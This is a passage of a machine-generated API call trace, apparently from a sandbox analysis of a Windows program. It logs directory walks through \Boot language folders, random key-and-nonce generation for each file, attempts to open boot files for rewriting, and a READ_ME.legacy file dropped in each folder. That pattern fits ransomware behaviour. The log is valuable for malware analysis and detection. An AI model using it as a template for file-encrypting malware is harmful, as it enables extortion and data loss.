ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.378] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578770 | out: hHeap=0x520000) returned 1 [0109.378] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0109.379] GetLastError () returned 0x5 [0109.379] SetLastError (dwErrCode=0x5) [0109.379] GetLastError () returned 0x5 [0109.379] SetLastError (dwErrCode=0x5) [0109.379] GetLastError () returned 0x5 [0109.379] SetLastError (dwErrCode=0x5) [0109.379] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0109.379] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0109.379] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0109.379] FindNextFileW (in: hFindFile=0x5a03e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6d7e9a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa5a0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0109.379] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0109.379] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0109.379] GetLastError () returned 0x5 [0109.379] SetLastError (dwErrCode=0x5) [0109.379] GetLastError () returned 0x5 [0109.379] SetLastError (dwErrCode=0x5) [0109.379] GetLastError () returned 0x5 [0109.379] SetLastError (dwErrCode=0x5) [0109.379] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0109.379] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0109.379] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578728 [0109.379] FindNextFileW (in: hFindFile=0x5a03e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c4818d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c4818d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.379] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0109.379] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578800 [0109.379] GetLastError () returned 0x5 [0109.380] SetLastError (dwErrCode=0x5) [0109.380] GetLastError () returned 0x5 [0109.380] SetLastError (dwErrCode=0x5) [0109.380] GetLastError () returned 0x5 [0109.380] SetLastError (dwErrCode=0x5) [0109.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0109.380] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d8c0 | out: hHeap=0x520000) returned 1 [0109.380] FindNextFileW (in: hFindFile=0x5a03e8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c4818d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c4818d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0109.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c1d00 [0109.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3488 [0109.380] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c1d00 | out: pbBuffer=0x5c1d00) returned 1 [0109.380] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3488 | out: pbBuffer=0x5c3488) returned 1 [0109.380] SetFileAttributesW (lpFileName="\\Boot\\zh-CN\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0109.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0109.380] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.380] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0109.380] CreateFileW (lpFileName="\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0109.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578728 | out: hHeap=0x520000) returned 1 [0109.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0109.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4008 [0109.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34d8 [0109.381] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4008 | out: pbBuffer=0x5c4008) returned 1 [0109.381] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34d8 | out: pbBuffer=0x5c34d8) returned 1 [0109.381] SetFileAttributesW (lpFileName="\\Boot\\zh-CN\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0109.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0109.381] CreateFileW (lpFileName="\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0109.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0109.381] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d6b8 [0109.381] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0109.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563938 | out: hHeap=0x520000) returned 1 [0109.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563d70 | out: hHeap=0x520000) returned 1 [0109.382] FindFirstFileW (in: lpFileName="\\Boot\\zh-HK\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a04a8 [0109.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578800 | out: hHeap=0x520000) returned 1 [0109.382] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0109.382] GetLastError () returned 0x5 [0109.382] SetLastError (dwErrCode=0x5) [0109.382] GetLastError () returned 0x5 [0109.382] SetLastError (dwErrCode=0x5) [0109.382] GetLastError () returned 0x5 [0109.382] SetLastError (dwErrCode=0x5) [0109.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0109.382] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6398 | out: hHeap=0x520000) returned 1 [0109.383] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0109.383] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d7d0 | out: hHeap=0x520000) returned 1 [0109.383] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567310 | out: hHeap=0x520000) returned 1 [0109.383] FindNextFileW (in: hFindFile=0x5a04a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc1c4818d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.383] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0109.383] GetLastError () returned 0x5 [0109.383] SetLastError (dwErrCode=0x5) [0109.383] GetLastError () returned 0x5 [0109.383] SetLastError (dwErrCode=0x5) [0109.383] GetLastError () returned 0x5 [0109.383] SetLastError (dwErrCode=0x5) [0109.383] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d768 | out: hHeap=0x520000) returned 1 [0109.383] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c59d8 | out: hHeap=0x520000) returned 1 [0109.383] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202a0 | out: hHeap=0x520000) returned 1 [0109.383] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.383] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567310 | out: hHeap=0x520000) returned 1 [0109.383] FindNextFileW (in: hFindFile=0x5a04a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf958, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.383] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0109.383] GetLastError () returned 0x5 [0109.383] SetLastError (dwErrCode=0x5) [0109.383] GetLastError () returned 0x5 [0109.383] SetLastError (dwErrCode=0x5) [0109.384] GetLastError () returned 0x5 [0109.384] SetLastError (dwErrCode=0x5) [0109.384] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d848 | out: hHeap=0x520000) returned 1 [0109.384] FindNextFileW (in: hFindFile=0x5a04a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x518ea25e, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0xe31db522, ftLastWriteTime.dwHighDateTime=0x1d112e1, nFileSizeHigh=0x0, nFileSizeLow=0xa558, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0109.384] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0109.384] GetLastError () returned 0x5 [0109.384] SetLastError (dwErrCode=0x5) [0109.384] GetLastError () returned 0x5 [0109.384] SetLastError (dwErrCode=0x5) [0109.384] GetLastError () returned 0x5 [0109.384] SetLastError (dwErrCode=0x5) [0109.384] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d730 | out: hHeap=0x520000) returned 1 [0109.384] FindNextFileW (in: hFindFile=0x5a04a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c4818d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c4818d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c6e531, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.384] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0109.384] GetLastError () returned 0x5 [0109.384] SetLastError (dwErrCode=0x5) [0109.384] GetLastError () returned 0x5 [0109.384] SetLastError (dwErrCode=0x5) [0109.384] GetLastError () returned 0x5 [0109.384] SetLastError (dwErrCode=0x5) [0109.384] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d668 | out: hHeap=0x520000) returned 1 [0109.384] FindNextFileW (in: hFindFile=0x5a04a8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c4818d, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c4818d, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c6e531, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.385] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3ae0 | out: pbBuffer=0x5c3ae0) returned 1 [0109.385] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34e8 | out: pbBuffer=0x5c34e8) returned 1 [0109.385] SetFileAttributesW (lpFileName="\\Boot\\zh-HK\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0109.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0109.385] CreateFileW (lpFileName="\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0109.385] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578218 | out: hHeap=0x520000) returned 1 [0109.385] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0109.385] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4b60 [0109.385] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3578 [0109.385] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4b60 | out: pbBuffer=0x5c4b60) returned 1 [0109.385] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3578 | out: pbBuffer=0x5c3578) returned 1 [0109.385] SetFileAttributesW (lpFileName="\\Boot\\zh-HK\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0109.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0109.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0109.386] CreateFileW (lpFileName="\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0109.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578338 | out: hHeap=0x520000) returned 1 [0109.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d730 [0109.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d6b8 | out: hHeap=0x520000) returned 1 [0109.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563d20 | out: hHeap=0x520000) returned 1 [0109.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563910 | out: hHeap=0x520000) returned 1 [0109.386] FindFirstFileW (in: lpFileName="\\Boot\\zh-TW\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xc1c6e531, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c5d98 [0109.386] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0109.386] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0109.386] GetLastError () returned 0x5 [0109.386] SetLastError (dwErrCode=0x5) [0109.386] GetLastError () returned 0x5 [0109.387] SetLastError (dwErrCode=0x5) [0109.387] GetLastError () returned 0x5 [0109.387] SetLastError (dwErrCode=0x5) [0109.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567310 [0109.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0109.387] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0109.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0109.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5898 [0109.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201e0 [0109.387] FindNextFileW (in: hFindFile=0x5c5d98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xc1c6e531, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0109.387] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0109.387] GetLastError () returned 0x5 [0109.387] SetLastError (dwErrCode=0x5) [0109.387] GetLastError () returned 0x5 [0109.387] SetLastError (dwErrCode=0x5) [0109.388] GetLastError () returned 0x5 [0109.388] SetLastError (dwErrCode=0x5) [0109.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567310 [0109.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d8c8 [0109.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d690 [0109.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5c58 [0109.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20240 [0109.388] FindNextFileW (in: hFindFile=0x5c5d98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xf960, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0109.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578218 [0109.388] GetLastError () returned 0x5 [0109.388] SetLastError (dwErrCode=0x5) [0109.388] GetLastError () returned 0x5 [0109.388] SetLastError (dwErrCode=0x5) [0109.388] GetLastError () returned 0x5 [0109.388] SetLastError (dwErrCode=0x5) [0109.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0109.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578770 [0109.388] FindNextFileW (in: hFindFile=0x5c5d98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39fe447, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xa598, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0109.388] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578650 [0109.388] GetLastError () returned 0x5 [0109.389] SetLastError (dwErrCode=0x5) [0109.389] GetLastError () returned 0x5 [0109.389] SetLastError (dwErrCode=0x5) [0109.389] GetLastError () returned 0x5 [0109.389] SetLastError (dwErrCode=0x5) [0109.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d7f8 [0109.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0109.389] FindNextFileW (in: hFindFile=0x5c5d98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c6e531, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c6e531, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c6e531, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0109.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578410 [0109.389] GetLastError () returned 0x5 [0109.389] SetLastError (dwErrCode=0x5) [0109.389] GetLastError () returned 0x5 [0109.389] SetLastError (dwErrCode=0x5) [0109.389] GetLastError () returned 0x5 [0109.389] SetLastError (dwErrCode=0x5) [0109.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d8c0 [0109.389] FindNextFileW (in: hFindFile=0x5c5d98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c6e531, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xc1c6e531, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xc1c6e531, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0109.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5789b0 [0109.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4d70 [0109.389] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34a8 [0109.389] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4d70 | out: pbBuffer=0x5c4d70) returned 1 [0109.389] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34a8 | out: pbBuffer=0x5c34a8) returned 1 [0109.390] SetFileAttributesW (lpFileName="\\Boot\\zh-TW\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0109.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578608 [0109.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x550e18 [0109.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578608 | out: hHeap=0x520000) returned 1 [0109.390] CreateFileW (lpFileName="\\Boot\\zh-TW\\memtest.exe.mui" (normalized: "c:\\boot\\zh-tw\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0109.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x550e18 | out: hHeap=0x520000) returned 1 [0109.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5789b0 | out: hHeap=0x520000) returned 1 [0109.390] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0109.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5783c8 [0109.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4740 [0109.390] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3558 [0109.390] CryptGenRandom (in: hProv=0x55a150, 